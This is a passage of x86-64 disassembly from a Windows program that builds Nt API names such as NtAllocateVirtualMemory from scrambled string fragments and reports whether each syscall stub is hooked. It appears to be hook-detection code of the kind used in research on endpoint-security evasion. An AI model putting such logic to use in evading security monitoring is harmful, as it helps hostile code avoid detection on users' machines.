call fcn.1400a7ee0
lea rax, [rbp + 0x3b60]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3b80]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3ba0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3bc0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3be0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3c00]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3c20]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3c40]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3c60]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3c80]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3ca0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3cc0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3cef]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3cf0]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3cf0]
mov rcx, qword [rbp + 0x5320]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3cf0]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x140006f62
lea rbx, [0x14010858b]
jmp 0x140006f69
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x3f1f]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x3f1f]
lea rax, [rbp + 0x3ef0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x3ed0]
lea rdx, [rbp + 0x3ef0]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3eb0]
lea rdx, [rbp + 0x3ed0]
lea r8, [0x1401085cb]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3e90]
lea rdx, [rbp + 0x3eb0]
lea r8, [0x140108583]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3e70]
lea rdx, [rbp + 0x3e90]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3e50]
lea rdx, [rbp + 0x3e70]
lea r8, [0x140108583]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3e30]
lea rdx, [rbp + 0x3e50]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3e10]
lea rdx, [rbp + 0x3e30]
lea r8, [0x140108571]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3df0]
lea rdx, [rbp + 0x3e10]
lea r8, [0x1401085d1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3dd0]
lea rdx, [rbp + 0x3df0]
lea r8, [0x140108577]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3db0]
lea rdx, [rbp + 0x3dd0]
lea r8, [0x1401085af]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3d90]
lea rdx, [rbp + 0x3db0]
lea r8, [0x1401085b1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3d70]
lea rdx, [rbp + 0x3d90]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3d50]
lea rdx, [rbp + 0x3d70]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3d30]
lea rdx, [rbp + 0x3d50]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3d10]
lea rdx, [rbp + 0x3d30]
lea r8, [0x1401085b3]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x3d10]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x3d10]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3d30]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3d50]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3d70]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3d90]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3db0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3dd0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3df0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3e10]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3e30]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3e50]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3e70]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3e90]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3eb0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3ed0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3ef0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3f1f]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3f20]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3f20]
mov rcx, qword [rbp + 0x5318]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3f20]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x1400072fa
lea rbx, [0x14010858b]
jmp 0x140007301
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x41af]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x41af]
lea rax, [rbp + 0x4180]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x4160]
lea rdx, [rbp + 0x4180]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4140]
lea rdx, [rbp + 0x4160]
lea r8, [0x140108571]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4120]
lea rdx, [rbp + 0x4140]
lea r8, [0x140108573]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4100]
lea rdx, [rbp + 0x4120]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x40e0]
lea rdx, [rbp + 0x4100]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x40c0]
lea rdx, [rbp + 0x40e0]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x40a0]
lea rdx, [rbp + 0x40c0]
lea r8, [0x1401085b9]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4080]
lea rdx, [rbp + 0x40a0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4060]
lea rdx, [rbp + 0x4080]
lea r8, [0x1401085bb]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4040]
lea rdx, [rbp + 0x4060]
lea r8, [0x140108583]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4020]
lea rdx, [rbp + 0x4040]
lea r8, [0x140108587]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4000]
lea rdx, [rbp + 0x4020]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3fe0]
lea rdx, [rbp + 0x4000]
lea r8, [0x1401085af]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3fc0]
lea rdx, [rbp + 0x3fe0]
lea r8, [0x1401085b1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3fa0]
lea rdx, [rbp + 0x3fc0]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3f80]
lea rdx, [rbp + 0x3fa0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3f60]
lea rdx, [rbp + 0x3f80]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3f40]
lea rdx, [rbp + 0x3f60]
lea r8, [0x1401085b3]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x3f40]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x3f40]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3f60]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3f80]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3fa0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3fc0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3fe0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4000]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4020]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4040]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4060]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4080]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x40a0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x40c0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x40e0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4100]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4120]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4140]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4160]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4180]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x41af]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x41b0]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x41b0]
mov rcx, qword [rbp + 0x5310]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x41b0]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x140007716
lea rbx, [0x14010858b]
jmp 0x14000771d
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x441f]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x441f]
lea rax, [rbp + 0x43f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x43d0]
lea rdx, [rbp + 0x43f0]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x43b0]
lea rdx, [rbp + 0x43d0]
lea r8, [0x1401085d3]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4390]
lea rdx, [rbp + 0x43b0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4370]
lea rdx, [rbp + 0x4390]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4350]
lea rdx, [rbp + 0x4370]
lea r8, [0x1401085ad]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4330]
lea rdx, [rbp + 0x4350]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4310]
lea rdx, [rbp + 0x4330]
lea r8, [0x1401085c1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x42f0]
lea rdx, [rbp + 0x4310]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x42d0]
lea rdx, [rbp + 0x42f0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x42b0]
lea rdx, [rbp + 0x42d0]
lea r8, [0x1401085b7]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4290]
lea rdx, [rbp + 0x42b0]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4270]
lea rdx, [rbp + 0x4290]
lea r8, [0x1401085af]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4250]
lea rdx, [rbp + 0x4270]
lea r8, [0x1401085b1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4230]
lea rdx, [rbp + 0x4250]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4210]
lea rdx, [rbp + 0x4230]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x41f0]
lea rdx, [rbp + 0x4210]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x41d0]
lea rdx, [rbp + 0x41f0]
lea r8, [0x1401085b3]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x41d0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x41d0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x41f0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4210]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4230]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4250]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4270]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4290]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x42b0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x42d0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x42f0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4310]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4330]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4350]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4370]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4390]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x43b0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x43d0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x43f0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x441f]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4420]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4420]
mov rcx, qword [rbp + 0x5308]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4420]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x140007b06
lea rbx, [0x14010858b]
jmp 0x140007b0d
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x468f]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x468f]
lea rax, [rbp + 0x4660]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x4640]
lea rdx, [rbp + 0x4660]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4620]
lea rdx, [rbp + 0x4640]
lea r8, [0x1401085bf]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4600]
lea rdx, [rbp + 0x4620]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x45e0]
lea rdx, [rbp + 0x4600]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x45c0]
lea rdx, [rbp + 0x45e0]
lea r8, [0x1401085ad]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x45a0]
lea rdx, [rbp + 0x45c0]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4580]
lea rdx, [rbp + 0x45a0]
lea r8, [0x1401085c1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4560]
lea rdx, [rbp + 0x4580]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4540]
lea rdx, [rbp + 0x4560]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4520]
lea rdx, [rbp + 0x4540]
lea r8, [0x1401085b7]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4500]
lea rdx, [rbp + 0x4520]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x44e0]
lea rdx, [rbp + 0x4500]
lea r8, [0x1401085af]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x44c0]
lea rdx, [rbp + 0x44e0]
lea r8, [0x1401085b1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x44a0]
lea rdx, [rbp + 0x44c0]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4480]
lea rdx, [rbp + 0x44a0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4460]
lea rdx, [rbp + 0x4480]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4440]
lea rdx, [rbp + 0x4460]
lea r8, [0x1401085b3]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x4440]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x4440]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4460]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4480]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x44a0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x44c0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x44e0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4500]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4520]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4540]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4560]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4580]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x45a0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x45c0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x45e0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4600]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4620]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4640]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4660]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x468f]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4690]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4690]
mov rcx, qword [rbp + 0x5300]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4690]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x140007ef6
lea rbx, [0x14010858b]
jmp 0x140007efd
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x48bf]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x48bf]
lea rax, [rbp + 0x4890]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x4870]
lea rdx, [rbp + 0x4890]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4850]
lea rdx, [rbp + 0x4870]
lea r8, [0x1401085d5]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4830]
lea rdx, [rbp + 0x4850]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4810]
lea rdx, [rbp + 0x4830]
lea r8, [0x140108573]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x47f0]
lea rdx, [rbp + 0x4810]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x47d0]
lea rdx, [rbp + 0x47f0]
lea r8, [0x140108589]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x47b0]
lea rdx, [rbp + 0x47d0]
lea r8, [0x1401085b5]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4790]
lea rdx, [rbp + 0x47b0]
lea r8, [0x1401085b7]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4770]
lea rdx, [rbp + 0x4790]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4750]
lea rdx, [rbp + 0x4770]
lea r8, [0x140108577]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4730]
lea rdx, [rbp + 0x4750]
lea r8, [0x140108583]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4710]
lea rdx, [rbp + 0x4730]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x46f0]
lea rdx, [rbp + 0x4710]
lea r8, [0x14010857f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x46d0]
lea rdx, [rbp + 0x46f0]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x46b0]
lea rdx, [rbp + 0x46d0]
lea r8, [0x1401085c1]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x46b0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x46b0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x46d0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x46f0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4710]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4730]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4750]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4770]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4790]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x47b0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x47d0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x47f0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4810]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4830]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4850]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4870]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4890]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x48bf]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x48c0]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x48c0]
mov rcx, qword [rbp + 0x52f8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x48c0]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x14000828e
lea rbx, [0x14010858b]
jmp 0x140008295
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x4a8f]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x4a8f]
lea rax, [rbp + 0x4a60]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x4a40]
lea rdx, [rbp + 0x4a60]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4a20]
lea rdx, [rbp + 0x4a40]
lea r8, [0x1401085c5]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4a00]
lea rdx, [rbp + 0x4a20]
lea r8, [0x1401085d1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x49e0]
lea rdx, [rbp + 0x4a00]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x49c0]
lea rdx, [rbp + 0x49e0]
lea r8, [0x1401085c1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x49a0]
lea rdx, [rbp + 0x49c0]
lea r8, [0x1401085bf]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4980]
lea rdx, [rbp + 0x49a0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4960]
lea rdx, [rbp + 0x4980]
lea r8, [0x140108577]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4940]
lea rdx, [rbp + 0x4960]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4920]
lea rdx, [rbp + 0x4940]
lea r8, [0x14010857f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4900]
lea rdx, [rbp + 0x4920]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x48e0]
lea rdx, [rbp + 0x4900]
lea r8, [0x1401085c1]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x48e0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x48e0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4900]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4920]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4940]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4960]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4980]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x49a0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x49c0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x49e0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4a00]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4a20]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4a40]
mov rcx, rax
call fcn.1400a7ee0
